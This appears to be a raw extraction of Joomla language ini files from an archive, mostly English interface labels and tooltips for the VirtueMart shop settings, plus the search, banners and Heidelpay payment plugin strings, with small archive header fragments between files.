tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
      " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
      " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintance, the anonymous order and the login" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 3,5,10,20
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,30
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,24
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 8,24,32,64
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
      If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PK@y>\!\#language/en-GB/en-GB.com_search.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Search" COM_SEARCH_ALL_WORDS="All words" COM_SEARCH_ALPHABETICAL="Alphabetical" COM_SEARCH_ANY_WORDS="Any words" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Show Created Date" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Created Date" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Record the search phrases submitted by visitors." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Gather Search Statistics" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Name displayed for this site as a search provider." COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Description displayed for this site as a search provider." COM_SEARCH_CONFIGURATION="Search Manager Options" COM_SEARCH_EXACT_PHRASE="Exact phrase" COM_SEARCH_FIELD_DESC="Word, words or phrase to search for" COM_SEARCH_FIELD_LABEL="Search Term (Optional)" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Show the search areas checkboxes" COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Use Search Areas" COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Optional Search Term" COM_SEARCH_FOR_DESC="The type of search" COM_SEARCH_FOR_LABEL="Search for" COM_SEARCH_HEADING_PHRASE="Search Phrase" COM_SEARCH_HEADING_RESULTS="Results" COM_SEARCH_HIDE_SEARCH_RESULTS="Hide Search Results" COM_SEARCH_LOGGING_DISABLED="Gathering statistics disabled" COM_SEARCH_LOGGING_ENABLED="Gathering statistics enabled" COM_SEARCH_MANAGER_SEARCHES="Search Manager: Search Term Analysis" COM_SEARCH_MOST_POPULAR="Popularity" COM_SEARCH_NEWEST_FIRST="Newest First" COM_SEARCH_NO_RESULTS="Off" COM_SEARCH_OLDEST_FIRST="Oldest First" COM_SEARCH_ORDERING_DESC="Defines what ordering results are listed in" COM_SEARCH_ORDERING_LABEL="Results ordering" COM_SEARCH_SAVED_SEARCH_OPTIONS="Saved search options" COM_SEARCH_SEARCH_IN_PHRASE="Search in phrases." COM_SEARCH_SHOW_SEARCH_RESULTS="Show Search Results" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\&__(language/en-GB/en-GB.com_banners.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banners" COM_BANNERS_BANNERS="Banners" COM_BANNERS_CATEGORY_ADD_TITLE="Category Manager: Add A New Banners Category" COM_BANNERS_CATEGORY_EDIT_TITLE="Category Manager: Edit A Banners Category" COM_BANNERS_CATEGORIES="Categories" COM_BANNERS_CLIENTS="Clients" COM_BANNERS_TRACKS="Tracks" COM_BANNERS_XML_DESCRIPTION="This component manages banners and banner clients"PK@y>\BC0language/en-GB/en-GB.plg_vmpayment_heidelpay.ininuW+AVMPAYMENT_HEIDELPAY_VM_PARAMETERS="HEIDELPAY CONFIGURATION" VMPAYMENT_HEIDELPAY_PAYMENT_URL="Payment server url" VMPAYMENT_HEIDELPAY_SECURITY_SENDER="Security sender" VMPAYMENT_HEIDELPAY_USER_LOGIN="User login" VMPAYMENT_HEIDELPAY_USER_PW="User password" VMPAYMENT_HEIDELPAY_CHANNEL_ID="Channel id" VMPAYMENT_HEIDELPAY_TRANSACTION_MODE="Transaction mode" VMPAYMENT_HEIDELPAY_PAYMENT_TYPE="Payment type" VMPAYMENT_HEIDELPAY_PAYMENT_METHOD="Payment method" VMPAYMENT_HEIDELPAY_DEBUG="Debug mode" VMPAYMENT_HEIDELPAY_GET_HEIDELPAY_HIDE="Hide contact form" VMPAYMENT_HEIDELPAY_PAYMENT="HEIDELPAY PAYMENT METHOD CONFIGURATION" VMPAYMENT_HEIDELPAY_LOGOS="Logos" VMPAYMENT_HEIDELPAY_INTEGRATOR_TEST="INTEGRATOR_TEST" VMPAYMENT_HEIDELPAY_LIVE="LIVE" VMPAYMENT_HEIDELPAY_CONNECTOR_TEST="CONNECTOR_TEST" VMPAYMENT_HEIDELPAY_MIN_AMOUNT="Minimum amount" VMPAYMENT_HEIDELPAY_MAX_AMOUNT="Maximum amount" VMPAYMENT_HEIDELPAY_STYLE="Stylesheet" VMPAYMENT_HEIDELPAY_ORDER_NR="Order number" VMPAYMENT_HEIDELPAY_TESTDATA="Or click on Save to use the test Data" VMPAYMENT_HEIDELPAY_ALREADY_ACCOUNT="You already have an Account ?" VMPAYMENT_HEIDELPAY_CREATE_ACCOUNT="CREATE AN ACCOUNT" VMPAYMENT_HEIDELPAY_PAYMENT_URL_DESC="Url form payment server, can be fund in documentation or livedata mail send by technical support" VMPAYMENT_HEIDELPAY_SECURITY_SENDER_DESC="Security sender , can be fund in documentation or livedata mail send by technical support" VMPAYMENT_HEIDELPAY_USER_LOGIN_DESC="User login, can be fund in documentation or livedata mail send by technical support" VMPAYMENT_HEIDELPAY_USER_PW_DESC="User password, can be fund in documentation or livedata mail send by technical support" VMPAYMENT_HEIDELPAY_CHANNEL_ID_DESC="Channel id, can be fund in documentation or livedata mail send by technical support" VMPAYMENT_HEIDELPAY_TRANSACTION_MODE_DESC="Transaction mode, can be INTEGRATOR_TEST or CONNECTOR_TEST for testing purpose and LIVE for processing." VMPAYMENT_HEIDELPAY_PAYMENT_TYPE_DESC="please select the payment type here" VMPAYMENT_HEIDELPAY_PAYMENT_METHOD_DESC="please select the payment method" VMPAYMENT_HEIDELPAY_DEBUG_DESC="Debug mode will show you debug information on screen" VMPAYMENT_HEIDELPAY_CC="credit card" VMPAYMENT_HEIDELPAY_DC="debit card" VMPAYMENT_HEIDELPAY_DD="direct debit" VMPAYMENT_HEIDELPAY_OTSUE="sofort banking" VMPAYMENT_HEIDELPAY_OTGIR="giropay" VMPAYMENT_HEIDELPAY_OTEPS="EPS" VMPAYMENT_HEIDELPAY_OTIDE="IDeal" VMPAYMENT_HEIDELPAY_IV="invoice" VMPAYMENT_HEIDELPAY_PP="prepayment" VMPAYMENT_HEIDELPAY_VAPAYPAL="PayPal" VMPAYMENT_HEIDELPAY_PCMANGIR="MangirKart" VMPAYMENT_HEIDELPAY_BARPAY="BarPay" VMPAYMENT_HEIDELPAY_DEB="debit" VMPAYMENT_HEIDELPAY_PA="reservation" VMPAYMENT_HEIDELPAY_RESTRICTIONS_CONFIG="RESTRICTIONS" VMPAYMENT_HEIDELPAY_ORDER_STATUS_CONFIG="ORDER STATUS" VMPAYMENT_HEIDELPAY_STATUS_PENDING="Order status pending" VMPAYMENT_HEIDELPAY_STATUS_SUCCESS="Order status success" VMPAYMENT_HEIDELPAY_STATUS_FAILED="Order status fail" VMPAYMENT_HEIDELPAY_STATUS_PENDING_DESC="Order status of unconfirmed payment process" 